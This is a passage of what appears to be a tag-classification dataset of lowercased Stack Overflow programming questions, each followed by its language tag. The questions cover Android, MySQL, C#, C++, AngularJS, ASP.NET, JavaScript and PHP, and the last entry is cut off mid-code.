com.nineoldandroids:library:2.4.0      compile project( :phoenix )     compile  com.github.dmytrodanylyk.circular-progress-button:library:1.1.3   } </code></pre>   my animated drawable:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;animated-vector xmlns:android= http://schemas.android.com/apk/res/android      android:drawable= @drawable/vector_upvote &gt;      &lt;target         android:name= rotationgroup          android:animation= @anim/rotate_a_to_b  /&gt;       &lt;target         android:name= left_arrow          android:animation= @animator/animator_checkmark  /&gt; &lt;/animated-vector&gt; </code></pre>   on the first line of the animated drawable  it says: animated-vector requires api level 21 (current min is 15).    so what is wrong     <pre><code>  [1]: http://android-developers.blogspot.com/2016/02/android-support-library-232.html </code></pre>,android
why is my method not found   in my h file i have    <pre><code>+(ccrendertexture*) createstroke: (cclabelttf*) label                             size:(float)size                               color:(cccolor3b)cor; </code></pre>   in my m file i implemented this method and use it like   <pre><code>ccrendertexture* stroke = [self createstroke:pause  size:3  color:ccblack]; </code></pre>   but it gives me a warning  method not found . why,objective-c
count grouped values in mysql  i have two tables:    customer   <pre><code>id      name 1       john 2       kevin </code></pre>   customer_property   <pre><code>id      customer_id    code              value        1       1              main_course                    2       1              main_course                    3       1              drink                          4       1              drink                          5       1              cash              100          </code></pre>   i want to count courses and drinks that each customer have ordered. i can count drinks by this query:   <pre><code>select   c.name    count(distinct cp.id) as drinks_count from customer as c   join customer_property as cp on c.id=cp.customer_id where cp.code= drink    group by cp.id </code></pre>   that is working fine. my questoin - is it possible to count courses in the same query,mysql
three layer deep malleable strings  i m trying to implement a three layer deep data structure. it is easy to do until you add the requirement of being able to move around the children and or fields  then it becomes a nightmare.        parent(index  id) -> children(index) -> fields(index  string)     so for example  the data might look like this:       <ul> <li>block1 ( block1 )</li> <li><ul> <li>child1 </li> </ul></li> <li><ul> <li><ul> <li>field1 ( hello )</li> </ul></li> </ul></li> <li><ul> <li><ul> <li>field2 ( world ) </li> </ul></li> </ul></li> <li><ul> <li>child2 </li> </ul></li> <li><ul> <li><ul> <li>field1 ( one )</li> </ul></li> </ul></li> <li><ul> <li><ul> <li>field2 ( two ) </li> </ul></li> </ul></li> <li><ul> <li><ul> <li>field3 ( three ) </li> </ul></li> </ul></li> <li>block2 ( block2 ) </li> <li><ul> <li>child1   </li> </ul></li> </ul>   now i can implement this by making structs containing an arraylist and string for both the parent and field  and just an arraylist for children  but when i need to for example invert field1 and field2 it becomes difficult and expensive.        this entire thing seems like it might be easy in a language like c++  since i could dump all the fields into a giant data block and then use pointers to reference where the fields are... then if i want to switch fields  children  or parents  i just have to change the pointer  and it is cheap.       has anyone seen this kind of data pattern in c# before  is there a  standard  way to implement this,c#
3 keys ordered map in c++  i have a 3 component vector struct called <code>vector3</code> with 3 <code>int</code> representing x  y and z. for each 3d point (i have more or less 200-300 different 3d points) i have a <code>string</code>.    what i want to do is to have a data structure that checks if there is a <code>string</code> for that location. i wanted to use a <code>std::map</code> and i made this code without good results:    the error it has is that it just runs the <code>else</code> part once  and keeps returning the same <code>string</code> over and over.    my <code>vector3</code> class is the one in ogre3d: <a href= http://www.ogre3d.org/docs/api/html/classogre_1_1vector3.html  rel= nofollow >http://www.ogre3d.org/docs/api/html/classogre_1_1vector3.html</a>   <pre><code>string worldgenerator::createplatformborder(vector3 size) {     static std::map&lt;vector3  string&gt; generatedborders;      if (generatedborders.find(size) != generatedborders.end())     {         return generatedborders[size];     }     else     {         string blockname = requestnewplatformbordername();         generatedborders.insert(std::pair&lt;vector3  string&gt;(size  blockname));         // some logic         return blockname;     } } </code></pre>   could you help me out  please     note that the function <code>requestnewplatformbordername()</code> works perfectly fine  so the bug isn t there. here is the code for it:   <pre><code>string requestnewplatformbordername() {     static int counter = 0;     return stringconverter::tostring(++counter) +  -platform-border ; } </code></pre>,c++
angularjs call another directives function  i have a directive on a page that applies colours to it s elements. it might look like this:   <pre><code>.directive( colours   function () {     return {         restrict:  a           scope: {             colours:  =          }          template:  &lt;div class= col-md-4  id= panel-1 &gt;&lt;p&gt;this is panel 1&lt;/p&gt;&lt;/div&gt;&lt;div class= col-md-4  id= panel-2 &gt;&lt;p&gt;this is panel 2&lt;/p&gt;&lt;/div&gt;&lt;div class= col-md-4  id= panel-3 &gt;&lt;p&gt;this is panel 3&lt;/p&gt;&lt;/div&gt;           link: function (scope  element) {              // get our panel children             var children = element.children();              // this is just an example  so excuse the code             for(var i = 0; i &lt; children.length; i++) {                 var child = angular.element(children[i]);                  child.css( background-color   scope.colours[i]);             }         }     }; }) </code></pre>   it is just an example  but the real directive has database colours  svgs  etc  so i could not replicate it in codepen. what i want to do is create a new directive on the same view (but not a child of the <strong>colours</strong> directive). it might look like this:   <pre><code>.directive( colourswapper   function () {     return {         restrict:  a           scope: {             colours:  =colourswapper          }          template:  &lt;button class= btn btn-default  type= button  ng-click= swap(true) &gt;&lt;span class= fa fa-chevron-left &gt;&lt;/span&gt;&lt;/button&gt; swap colours &lt;button class= btn btn-default  type= button  ng-click= swap() &gt;    &lt;span class= fa fa-chevron-right &gt;&lt;/span&gt;&lt;/button&gt;           link: function (scope  element) {              // get our colours             var colours = scope.colours;              // create our function             scope.swap = function (opposite) {                  // if we want to go in the opposite direction                 if (opposite) {                      // shift the array in reverse                     colours.unshift(colours.pop());                  // else                 } else {                      // shift the array                     colours.push(colours.shift());                 }             };         }     }; }); </code></pre>   i have passed the same array of colours to this directive. what i want to do now  is change the order of the colours and then reapply them to the element. i would like to be able to call a function rather than adding a watch (the reason for that is my colours directive is a child of a parent which requires a few directives and i don t want to have too many watches in them. i am assuming that too many watches is a bad thing).    does anyone know how i can do this,angularjs
java weird static import <pre><code>package pack1;  public class a {      public static int i = 10;     public static void test()  {         system.out.println( done );     } } </code></pre>   this is separate .class file:   <pre><code>package pack2; import pack1.a.*; public class manager0  {      public static void main(string args [] ) {          system.out.println(a.i);         a.test();     } } </code></pre>   when i run <code>manager0</code> class it shows error because i used <code>import pack1.a.*;</code> instead of  <code>import pack1.a;</code>  but why doesn t <code>import pack1.a.*;</code> work  i mean doesn t <code>import pack1.a.*;</code> mean import everything in class <code>a</code>,java
how access a variable in class which that variable defined in the form  for example i have a button that get me 3 variable:   <pre><code>    private void savebtn_click(object sender  eventargs e)     {         int a  b  c;         a = int.parse(textbox1.text);         b = int.parse(textbox2.text);         c = int.parse(textbox3.text);     } </code></pre>   and i have class that use these variable to compute another variable for example:   <pre><code>class class1 {     public static int mwcompute()     {         int mw;         mw = a * b * c;         return mw;     }            } </code></pre>   and again i want to use this mw variable in my form for example:   <pre><code>if (something) {      textbox4.text = mw.tostring(); } </code></pre>,c#
the compiler gives me a warning on a html table  the compiler gives me the following warning   <pre><code>multiple annotations found at this line: - nls missing message:   obsolete_attribute_name___error_ in:   org.eclipse.wst.html.core.internal.htmlcorepluginresources </code></pre>   here is my code:    <pre><code> &lt;table width= 525  height= 177  border= 0  align= center  cellpadding= 0  cellspacing= 0 &gt;       &lt;tr&gt;         &lt;td width= 69  height= 30 &gt;姓名：&lt;/td&gt;         &lt;td width= 166 &gt;${sessionscope.userinfo.realname}&lt;/td&gt;         &lt;td width= 59 &gt;性别：&lt;/td&gt;         &lt;td width= 154 &gt;${sessionscope.userinfo.sex}&lt;/td&gt;         &lt;td width= 121  rowspan= 4  valign= top &gt;&lt;img src= ${sessionscope.userinfo.headgif} &gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td height= 30 &gt;邮箱：&lt;/td&gt;         &lt;td&gt;${sessionscope.userinfo.email}&lt;/td&gt;         &lt;td&gt;电话：&lt;/td&gt;         &lt;td&gt;${sessionscope.userinfo.tel}&lt;/td&gt;         &lt;/tr&gt;           &lt;tr&gt;         &lt;td height= 30 &gt;职业：&lt;/td&gt;         &lt;td&gt;${sessionscope.userinfo.profession}&lt;/td&gt;         &lt;td&gt;qq号码：&lt;/td&gt;         &lt;td&gt;${sessionscope.userinfo.qq}&lt;/td&gt;         &lt;/tr&gt;           &lt;tr&gt;         &lt;td height= 30 &gt;家庭住址：&lt;/td&gt;         &lt;td colspan= 3 &gt;${sessionscope.userinfo.address}&lt;/td&gt;         &lt;/tr&gt;          &lt;tr&gt;         &lt;td height= 30 &gt;主页：&lt;/td&gt;         &lt;td colspan= 4 &gt;${sessionscope.userinfo.homepage}&lt;/td&gt;         &lt;/tr&gt;           &lt;tr&gt;         &lt;td height= 30 &gt;个人描述：&lt;/td&gt;         &lt;td colspan= 4 &gt;${sessionscope.userinfo.self}&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;br&gt;         &lt;/td&gt;     &lt;td width= 180  align= center  valign= top  background= images/b_r_2.gif &gt;&lt;jsp:include page= blog_right.jsp  flush= true /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
angularjs -- show div only if touched and empty  i m trying to show a div only if the input field is touched and is still empty.    i have tried the following code  but the div doesnt not appear. for some reason it cannot read the touched state i think.     any ideas what i m doing wrong      <pre><code>&lt;div class= col-xs-12 mainbox  &gt; &lt;form name= loginform &gt;     &lt;div class= spacing &gt;&lt;/div&gt;       &lt;h5&gt;please input your data:&lt;/h5&gt;       &lt;input ng-model= vm.username  type= text  placeholder= username  class= form-control input-md &gt;       &lt;div class= spacing &gt;           &lt;div class= alert alert-danger  ng-if= !vm.username &amp;&amp; vm.username.$touched &gt;               please put your username!           &lt;/div&gt;       &lt;/div&gt;       &lt;input id= textinput  name= textinput  type= text  placeholder= κωδικός  class= form-control input-md &gt;       &lt;div class= spacing &gt;&lt;/div&gt;       &lt;button id= singlebutton  name= singlebutton  class= btn btn-info btn-sm pull-right &gt;είσοδος&lt;/button&gt; &lt;/form&gt; </code></pre>      &nbsp;   ps. when i remove the $touched condition  the div is showing perfectly only if the input username is empty.,angularjs
asp.net toaster notification immediately after onclick event not working  question updated.    reference: <a href= http://www.startuppirates.org/blog/gritter/  rel= nofollow noreferrer >http://www.startuppirates.org/blog/gritter/</a>    following is working fine  when click on the html link  add regular  it shows the notification so related .js and .css is working.    html link   <pre><code>&lt;a href= #  id= add-regular &gt;add regular notification&lt;/a&gt; </code></pre>   javascript   <pre><code>&lt;script type= text/javascript &gt;      $( #add-regular ).click(function () {          var unique_id = $.gritter.add({             // (string | mandatory) the heading of the notification             title:  this is a regular notice!               // (string | mandatory) the text inside the notification             text:  this will fade out after a certain amount of time.               // (string | optional) the image to display on the left             image:  /content/gritter/images/success.png               // (bool | optional) if you want it to fade out on its own or just sit there             sticky: false              // (int | optional) the time you want it to be alive for before fading out             time:                 class_name:  gritter-info          });         return false;     });  &lt;/script&gt; </code></pre>   i have modified above js into a function with parameters  and i m trying to call it to show the notification from code-behind (asp.net / web-forms) but it is not working !    codebehind   <pre><code>page.clientscript.registerstartupscript(me.gettype()   return    stickyalert( property upload    property data uploaded successfully   0   success );   true) </code></pre>   javascript   <pre><code>&lt;script type= text/javascript &gt;     function stickyalert(title  text  sticky  success) {         var unique_id = $.gritter.add({             // (string | mandatory) the heading of the notification             title: title              // (string | mandatory) the text inside the notification             text: text              // (string | optional) the image to display on the left             image:  /content/gritter/images/success.png               // (bool | optional) if you want it to fade out on its own or just sit there             sticky: sticky              // (int | optional) the time you want it to be alive for before fading out             time:  5000               // (string | optional) the class name you want to apply to that specific message             class_name:  gritter-info          });         return false;     } &lt;/script&gt; </code></pre>,asp.net
android app fails when running on background  i m experiencing this behavior with my android app..    it is crashes when i m trying to open it  if i have it running on the background. it happens  rarely and very inconsistently  but what i m seeing if let say i have app running on the background and after long time (may be 10-20 hours) i m trying to open the app from the dashboard - there will be an error something like  app crashed unexpectedly..   but then it will reload and run just fine.     in the long run i could probably keep an eye on it and if that happens again - connect my phone to the android studio and look to the recent logs       are there any other approaches for me to get this fixed     thank you,android
checking length of dictionary object  i m trying to check the length here.  tried count.  is there something i m missing    <pre><code>var dnames = {};  dnames = getallnames();  for (var i = 0  l = dname.length; i &lt; l; i++)  {         alert( name:   + dname[i].name); } </code></pre>   dnames holds name/value pairs.  i know that dnames has values in that object but it s still completely skipping over that and when i alert out even dname.length obviously that s not how to do this...so not sure.  looked it up on the web.  could not find anything on this.,javascript
c++  my double or int value is always 0  i m fairly new to c++ and i m experiencing some strange behaviour from a percentage increase method i am writing for some image editing software.    what i want to do is give the r g or b value of the current pixel and divide it by some modifier  then multiply it by the new value to return the percentage increase  fairly easy concept.    however  whenever i run my debugger  the return value is always 0  i thought this may be because i was trying to do operations which give negative numbers on an integer (or maybe a divide by zero could occur )  so i tried to use a double to store the output of the computation  however i ve had no luck.    the code i m struggling with is below:   <pre><code>int sliders::getpercentageincrease(int currpixel  int newvalue  int modifier) {     // calculate return value     double returnval = (currpixel / modifier) * newvalue;      // check we are returning a positive integer     if(returnval &gt;= 0)         return (int)returnval;      // return a negative integer value     return (int)(0 - returnval); } </code></pre>   what am i doing wrong here     note: i have checked values  of inputs in my debugger and i get stuff like: currpixel = 30 newvalue = 119 modifier = 200    from this i would expect an output of 18 (i am not concerned with returning decimal figures),c++
putting the cursor in text box after validating in asp.net  i have a basic asp.net website which has a register page with the user name  password and email as text boxes. only one of them  the email  has a validation which is the default email validation from asp.net. after the validation  i want the cursor to be in the email textbox if the validation fails. currently the message is displayed but the cursor is not on the page.   <pre><code>                                                &lt;tr&gt;                                                 &lt;td&gt;                                                     &lt;asp:textbox id= txtpassword  runat= server  cssclass= cptextbox  textmode= password                                                          tabindex= 7  tooltip= password must be at least six characters in length &gt;&lt;/asp:textbox&gt;                                                     &lt;asp:requiredfieldvalidator id= rfvpassword  runat= server  controltovalidate= txtpassword                                                          errormessage= please enter password  display= none &gt;*&lt;/asp:requiredfieldvalidator&gt;                                                     &lt;asp:regularexpressionvalidator id= revpassword  runat= server  controltovalidate= txtpassword                                                          errormessage= password must be at least six characters in length  validationexpression= .{6 50}                                                          display= none &gt;*&lt;/asp:regularexpressionvalidator&gt;                                                 &lt;/td&gt;                                                 &lt;td&gt;                                                     &lt;asp:textbox id= txttitle  runat= server  cssclass= cptextbox  tabindex= 11 &gt;&lt;/asp:textbox&gt;                                                 &lt;/td&gt;                                             &lt;/tr&gt;                                             &lt;tr&gt;                                                 &lt;td&gt;                                                     &lt;asp:label id= lblverifypassword  runat= server  cssclass= cplabel  text= verify password &gt;&lt;/asp:label&gt;                                                     &lt;asp:label id= label4  runat= server  forecolor= red  text= * &gt;&lt;/asp:label&gt;                                                 &lt;/td&gt;                                                 &lt;td&gt;                                                     &lt;asp:label id= lblphone  runat= server  cssclass= cplabel  text= phone &gt;&lt;/asp:label&gt;                                                 &lt;/td&gt;                                             &lt;/tr&gt;                                             &lt;tr&gt;                                                 &lt;td&gt;                                                     &lt;asp:textbox id= txtverifypassword  runat= server  cssclass= cptextbox  textmode= password                                                          tabindex= 8 &gt;&lt;/asp:textbox&gt;                                                     &lt;asp:requiredfieldvalidator id= rfvconfirmpassword  runat= server  controltovalidate= txtverifypassword                                                          errormessage= please verify the password  display= none &gt;*&lt;/asp:requiredfieldvalidator&gt;                                                     &lt;asp:comparevalidator id= cvverifypassword  runat= server  controltocompare= txtpassword                                                          controltovalidate= txtverifypassword  errormessage= please verify the password                                                          display= none &gt;*&lt;/asp:comparevalidator&gt;                                                 &lt;/td&gt; </code></pre>   can someone guide me on how to do this     regards.,asp.net
why is the returned height of sizewithfont:minfontsize:actualfontsize:forwidth:linebreakmode: always the same   for some reason  the cgsize which is returned by sizewithfont:minfontsize:actualfontsize:forwidth:linebreakmode: is pretty useless. in my case it remains 55 no matter how much the text gets shrinked. it s always the same value. it never changes. the only thing that seems to work is the actualfontsize but that doesn t tell me a lot about how heigh the text rectangle is now  does it  (don t know much about typography but i think this pica font size stuff sucks and never works really precise),iphone
how to read text from a file on a server using httpget in android  i want to be able to display the content of a text file on a server into a textview. please  someone tell me why i keep getting a nullpointerexception when i try to run this app. i even added the internet permissions in the manifest.xml file.   <pre><code>package com.example.httpclient_examples;  import java.io.bufferedreader; import java.io.ioexception; import java.io.inputstreamreader; import java.net.malformedurlexception; import java.net.url;  import android.app.activity; import android.os.bundle; import android.widget.textview;  public class mainactivity extends activity implements runnable {         final string textsource =  http://www.website.com/text.txt ;         /** called when the activity is first created. */        @override        public void oncreate(bundle savedinstancestate) {            super.oncreate(savedinstancestate);            setcontentview(r.layout.fragment_main);               textview textprompt = (textview)findviewbyid(r.id.textprompt);                        textprompt.settext( wait... );             //thread             runnable r = new mainactivity();            thread t = new thread(r);            t.start();                 textprompt.settext( finished! );         }      @override     public void run() {           textview textmsg = (textview)findviewbyid(r.id.textmsg);            try {                url   texturl = new url(textsource);            bufferedreader bufferreader = new bufferedreader(new inputstreamreader(texturl.openstream()));                  string stringbuffer;                  string stringtext =   ;            while ((stringbuffer = bufferreader.readline()) != null) {             stringtext += stringbuffer;            }                    bufferreader.close();                  textmsg.settext(stringtext);           }              catch (malformedurlexception e) {             e.printstacktrace();            textmsg.settext(e.tostring());           } catch (ioexception e) {             e.printstacktrace();            textmsg.settext(e.tostring());           }             } } </code></pre>   &nbsp;   <pre><code>07-28 12:06:29.477: i/choreographer(7101): skipped 121 frames!  the application may be doing too much work on its main thread. 07-28 12:06:31.087: i/choreographer(7101): skipped 271 frames!  the application may be doing too much work on its main thread. 07-28 12:06:32.387: d/gralloc_goldfish(7101): emulator without gpu emulation detected. 07-28 12:06:34.817: i/process(7101): sending signal. pid: 7101 sig: 9 07-28 17:25:58.658: d/androidruntime(14851): shutting down vm 07-28 17:25:58.658: w/dalvikvm(14851): threadid=1: thread exiting with uncaught exception (group=0xb3ab7ba8) 07-28 17:25:58.858: e/androidruntime(14851): fatal exception: main 07-28 17:25:58.858: e/androidruntime(14851): process: com.example.httpclient_examples  pid: 14851 07-28 17:25:58.858: e/androidruntime(14851): java.lang.runtimeexception: unable to instantiate activity componentinfo{com.example.httpclient_examples/com.example.httpclient_examples.mainactivity}: java.lang.nullpointerexception 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread.performlaunchactivity(activitythread.java:2121) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread.handlelaunchactivity(activitythread.java:2245) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread.access$800(activitythread.java:135) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread$h.handlemessage(activitythread.java:1196) 07-28 17:25:58.858: e/androidruntime(14851):    at android.os.handler.dispatchmessage(handler.java:102) 07-28 17:25:58.858: e/androidruntime(14851):    at android.os.looper.loop(looper.java:136) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread.main(activitythread.java:5017) 07-28 17:25:58.858: e/androidruntime(14851):    at java.lang.reflect.method.invokenative(native method) 07-28 17:25:58.858: e/androidruntime(14851):    at java.lang.reflect.method.invoke(method.java:515) 07-28 17:25:58.858: e/androidruntime(14851):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:779) 07-28 17:25:58.858: e/androidruntime(14851):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:595) 07-28 17:25:58.858: e/androidruntime(14851):    at dalvik.system.nativestart.main(native method) 07-28 17:25:58.858: e/androidruntime(14851): caused by: java.lang.nullpointerexception 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activity.findviewbyid(activity.java:1884) 07-28 17:25:58.858: e/androidruntime(14851):    at com.example.httpclient_examples.mainactivity.&lt;init&gt;(mainactivity.java:16) 07-28 17:25:58.858: e/androidruntime(14851):    at java.lang.class.newinstanceimpl(native method) 07-28 17:25:58.858: e/androidruntime(14851):    at java.lang.class.newinstance(class.java:1208) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.instrumentation.newactivity(instrumentation.java:1061) 07-28 17:25:58.858: e/androidruntime(14851):    at android.app.activitythread.performlaunchactivity(activitythread.java:2112) 07-28 17:25:58.858: e/androidruntime(14851):    ... 11 more 07-28 17:26:06.898: i/process(14851): sending signal. pid: 14851 sig: 9 </code></pre>,android
how to copy and paste an excel sheet with source formatting in c# window application   i tired this code but it only paste the copied sheet as a embed sheet  in my destination location. i want to create to create a window application that should make a copy of source excel file and paste to destination location.kindly help me            <pre><code>        excel.application srcxlapp;         excel.workbook srcworkbook;         excel.worksheet srcworksheet;         excel.range srcrange;         excel.application destxlapp;         excel.workbook destworkbook;         excel.worksheet destworksheet;         excel.range destrange;         string srcpath;         string destpath;          //opening of first worksheet and copying         srcpath = tbpath.text;         srcxlapp = new excel.application();         srcworkbook = srcxlapp.workbooks.open(srcpath);         srcworksheet = srcworkbook.worksheets.get_item(1);         srcrange = srcworksheet.usedrange;         srcrange.copy(type.missing);          //opening of the second worksheet and pasting         destpath =  c:\\users\\dell\\desktop\\don\\book1.xlsx ;         destxlapp = new excel.application();         destworkbook = destxlapp.workbooks.open(destpath  0  false);         destworksheet = destworkbook.worksheets.get_item(1);         destrange = destworksheet.cells[1  1];         // destrange.select();          destworksheet.pastespecial(excel.xlpastetype.xlpasteall  excel.xlpastespecialoperation.xlpastespecialoperationnone  false  false);        // destworksheet.pastespecial(type.missing  type.missing);         destworkbook.saveas( c:\\users\\dell\\desktop\\don  + datetime.now.tostring( mm_dd_yyyy ) +  .xlsx );         srcxlapp.application.displayalerts = false;         destxlapp.application.displayalerts = false;         destworkbook.close(true  null  null);         destxlapp.quit();         srcworkbook.close(false  null  null);         srcxlapp.quit(); </code></pre>,c#
spliting a string into multiple sub string in java  i am new to programming.<br> i have a string like      <pre><code>string input= |abc{123{asd|xyz{456{qwe ; </code></pre>   i have to split this string into 3 parts.<br> the output i am expecting is     <pre><code>string1={ abc   xyz }   no={ 123   456 }   string2={ asd   qwe } </code></pre>   can someone please help me.,java
shuffling two nsmutablearrays in a predictable manner  i have two nsmutablearrays of strings that i wish to combine and shuffle together. however  i want it so that every time it shuffles the original two arrays  it always yields the same array in the same order. how can this be done     could i seed some constant value into the random function like in c++ <code>srand(constant)</code> but in objective-c     edit: or say i just have one array (not sure if this makes any difference) and i wanted to shuffle that one array in a predictable manner,objective-c
ui segment control images for different image path  i want to set image frame in segment control index path and i have googled for that and not get the specific answer to do so. i m doing    <pre><code>[self.segmentedcontrol setimage:[uiimage imagenamed:@ popularitem-activee.png ] forsegmentatindex:0];     [self.segmentedcontrol setimage:[uiimage imagenamed:@ popularuserr.png ] forsegmentatindex:1]; </code></pre>   and i want to do so   <pre><code>[self.segmentedcontrol setimage:[uiimage imagenamed:image1 forsegmentatindex:0]; </code></pre>,iphone
sql multiple dates query  i m working on a query where i have to find 3 or more orders on a part that will have multiple date ranges. the problem i m having is that it looks like the query isn t looking at the date ranges specifically...it s looking at a complete range of dates.   <pre><code> select partnumber  count(orders.partorderid) as numberoforders   from orders  where(orderdate between  2013-10-07  and  2013-10-13 ) or (orderdate between  2013-10-14  and  2013-10-20 )  group by partnumber  having count(partorderid) &gt; 2   </code></pre>   the query returns the numberoforders between 10/07-10/20  not 10/07-10/13 and 10/14-10/20,sql
generate a library and return responses  i have generated a class library  i want to return two responses.     now i get an error:   <blockquote>    a field initializer cannot reference the nonstatic field  method  or property  </blockquote>   my questions:   <ol> <li>how to fix the error </li> <li>how to return two responses  i have to reference it in another console application.</li> </ol>   code:   <pre><code>namespace messagingconfiguration {     public class inmatedetail     {         public getconfig(string pin  int id)         {              authenticatedjsonserviceclient client = new authenticatedjsonserviceclient( http://www.test.my.com/messageservice/api/ );            inmatedetailresponse inmatedetail = client.get(new inmatedetailrequest() { inmatepin = pin  facilityid = id });            inmateinboxresponse inmateinbox = client.get(new inmateinboxrequest() { inmatepkey = inmatedetail.inmate.pkey.tostring() });         }       }    } </code></pre>,c#
web application reset  i have two .net web application and they ara running on different domain same machine.    if i edit one s of them web.config file. which applications will be reset both or only one     case 1:a s web.config edited.    application a : xxx.yyy.com<br> application b : zzz.yyy.com<br>    case 2:a s web.config edited.    application a : www.yyy.com/applicationa/<br> application b : www.yyy.com/applicationb/<br>,asp.net
accessing another view controller s function  i need to access another view controller s function from a modal view  but the problem is  the view controller being called is not a parent controller of the modal view which calls it. so i cannot use self.parentviewcontroller. i m currently using the following  but it crashes.   <pre><code>in the modal view  #include  mainviewcontroller.h   ..........          mainviewcontroller* mainview;         mainview = (mainviewcontroller*) [[uiapplication sharedapplication] delegate];         [mainview reset:(id)sender]; </code></pre>   any idea what s wrong  please help me.,iphone
server.transfer does not work   i want to redirect to another page using server.transfer and i have this simple code:   <pre><code>if (page.ispostback)    {      try      {        server.transfer( anotherpage.aspx );      }      catch (exception)      {                                        throw ;      }     } </code></pre>   but i m getting an error:  error executing child request for anotherpage.aspx. . could not find the solution on the net.     just to mention  response.redirect works flawlessly.,asp.net
python rotate image by 90 degrees without using any libs  there are many methods to rotate img by 90 degree using opencv or pil  how to do it by self-design code without using any libs  i have tried in the way of rotating a matrix  but the rgb elements make it fail,python
current month (number) + year (number)  how do i output the current year and month (in numbers) in javascript     getutcmonth() logs: getutcmonth is not defined    getutcmonth() logs: getmonth is not defined,javascript
unsafe link in angular  in angularjs  in the following scenario  firefox puts <code>unsafe:</code> in front of urls that are generated in the following fashion. it then display an error-page saying  the address wasn t understood . this is a file request on my local pc.    link:   <pre><code>&lt;li ng-repeat= fruit in fruits &gt;     &lt;a href= {{ fruit.link }} &gt;{{ fruit.title }}&lt;/a&gt; &lt;/li&gt; </code></pre>   array:   <pre><code>$scope.fruits = [     {    title      :    orange            link       :    fruits_orange.html   } ]; </code></pre>,angularjs
how to determine last object in each loop   in your typical each loop in rails  how do i determine the last object  because i want to do something different to it than the rest of the objects.   <pre><code>&lt;% @stuff.each do |thing| %&gt;  &lt;% end %&gt; </code></pre>,ruby-on-rails
forcing line break in the textarea after 38 characters using jquery  <a href= http://jsfiddle.net/e5w5z/8/  rel= nofollow >1</a>heres is my code but i am dont know how to add a line break and allow the user to continue typing. with the alert message is fine but i just want the user to continue typing and line break added by the script.   <pre><code>dom.query = jquery.noconflict( true ); dom.query(document).ready(function() {     // var myta = dom.query( #remaining_chars );     //alert(myta[0].scrollheight);      dom.query( #ta ).keypress(function() {         var text =dom.query(this).val();         var arr = text.split( \n );         for(var i = 0; i &lt; arr.length; i++) {             if(arr[i].length &gt; 38) {                 alert( not more than 38 characters per line! continue in next line! );                 event.preventdefault(); // prevent characters from appearing             }         }          console.log(text);         dom.query( #ta ).val(text);     }); }); </code></pre>   link to the code :<a href= http://jsfiddle.net/e5w5z/8/  rel= nofollow >http://jsfiddle.net/e5w5z/8/</a><a href= http://jsfiddle.net/e5w5z/8/  rel= nofollow >1</a>,javascript
migrate application .net 1.1 to .net 4.0  i have created application in .net 1.1 32 bit so now i have to convert my application in 64 bit so i m migrate my application to .net 4.0 bcoz of my application working with good with 32 bit server. but problem with 64 bit server and problem is i have used connectivity with sap into my application it was connect succesfully with 32 bit but sap connector not work with 64 bit.    any step is keep safe while migrate application 1.1 to 4.0,.net
workaround for storing list in db - any thoughts   i m creating a database for my hockey team storing all kinds of stats. my particular question is about trying to store games played by each player.     i m going into depth with the detail about the stats where i ll be able to refine a search to see what specific games any player has played in (so simply having a general int for total games played is out of the question - i need to trace back to each game)    i have a player and game table (date_of_game is pk for table game since only one game can be played on a given day  and jerseynum is pk for table player since re-using numbers is not allowed even after a player leaves the team)  which would be tempting for me just to store a list inside the game table of who was present during that particular game - but this is bad practice.     does anyone have any thoughts on how to go about storing games played per player      i thought about making a  whospresent  table where i could just use the players and game date as columns and store a  present  or  away  value for each player but then an issue arises where people may leave the team  or new players would be added to the team which would mess up the table columns.    any thoughts would be much appreciated!,sql
process all rows using two different queries  there are two different queries.   <pre><code>select * from blockinfo where book= $cod  and user= $user  select * from blockinfo where user= $user  and book= $cod  and flag!=0  </code></pre>   these two queries are to be executed on pages like these <a href= http://example.com  rel= nofollow >example.com</a> and <a href= http://example.com cod=value  rel= nofollow >example.com cod=value</a>. i have to process first query on all rows followed by second query. i have to process using two while loops.    can i process two queries using single loop     <pre><code>if($quant!=null&amp;&amp;$cod!=null&amp;&amp;$user!=null&amp;&amp;$quantdb!=null&amp;&amp;$title!=null){   $sql= select * from blockinfo where book= $cod  and user= $user   ;   $res=mysqli_query($con $sql);   $numrows=mysqli_num_rows($res);   if($numrows&gt;0){       while($row=mysqli_fetch_assoc($res)){       $flag=$row[ flag ];       date_default_timezone_set( asia/kolkata );       $current_time=date( y/m/d h:i:s );       //echo  $current_time    ;       $current_time=strtotime($current_time);        $timestamp=strtotime($time)+1*1*60;       $collect_time=date( y/m/d h:i:s  $timestamp);       //echo  $collect_time  ;       $collect_time=strtotime($collect_time);        $difference=$collect_time-$current_time;       $days=floor($difference/86400);       $difference=($difference%86400);       $hrs=floor($difference/3600);       $difference=($difference%3600);       $mins=floor($difference/60);       $difference=($difference%60);       $seconds=floor($difference);           if($days&lt;=0&amp;&amp;$hrs&lt;=0&amp;&amp;$mins&lt;=0&amp;&amp;$seconds&lt;=0){               if($flag==0)                   echo  you did not collect the book in time &lt;br/&gt; ;               if($flag==1){                   $upd= update books set quantity=quantity+ $quant  where code= $cod   ;                   mysqli_query($con $upd);                   $flag=0;                   $upd2= update blockinfo set flag=0 where book= $cod  and user= $user  and blockedtime= $time  ;                   mysqli_query($con $upd2);               }               if($flag==2){                   $del= delete from blockinfo where book= $cod  and user= $user  and blockedtime= $time  ;                   mysqli_query($con $del);               }           }           else if($flag==1){               echo  you have blocked $quant books of name $title &lt;br/&gt; ;               echo  you have $days days $hrs hours $mins minutes $seconds seconds left to collect your book&lt;br/&gt; ;           }       }   }  //do something  if($cod==null) $sql= select * from blockinfo  ;       $res=mysqli_query($con $sql);       $numrows=mysqli_num_rows($res);       if($numrows&gt;0){           while($row1=mysqli_fetch_assoc($res)){               $resbook=$row1[ book ];               $blockedtime=$row1[ blockedtime ];               $user=$row1[ user ];               $quant=$row1[ quant 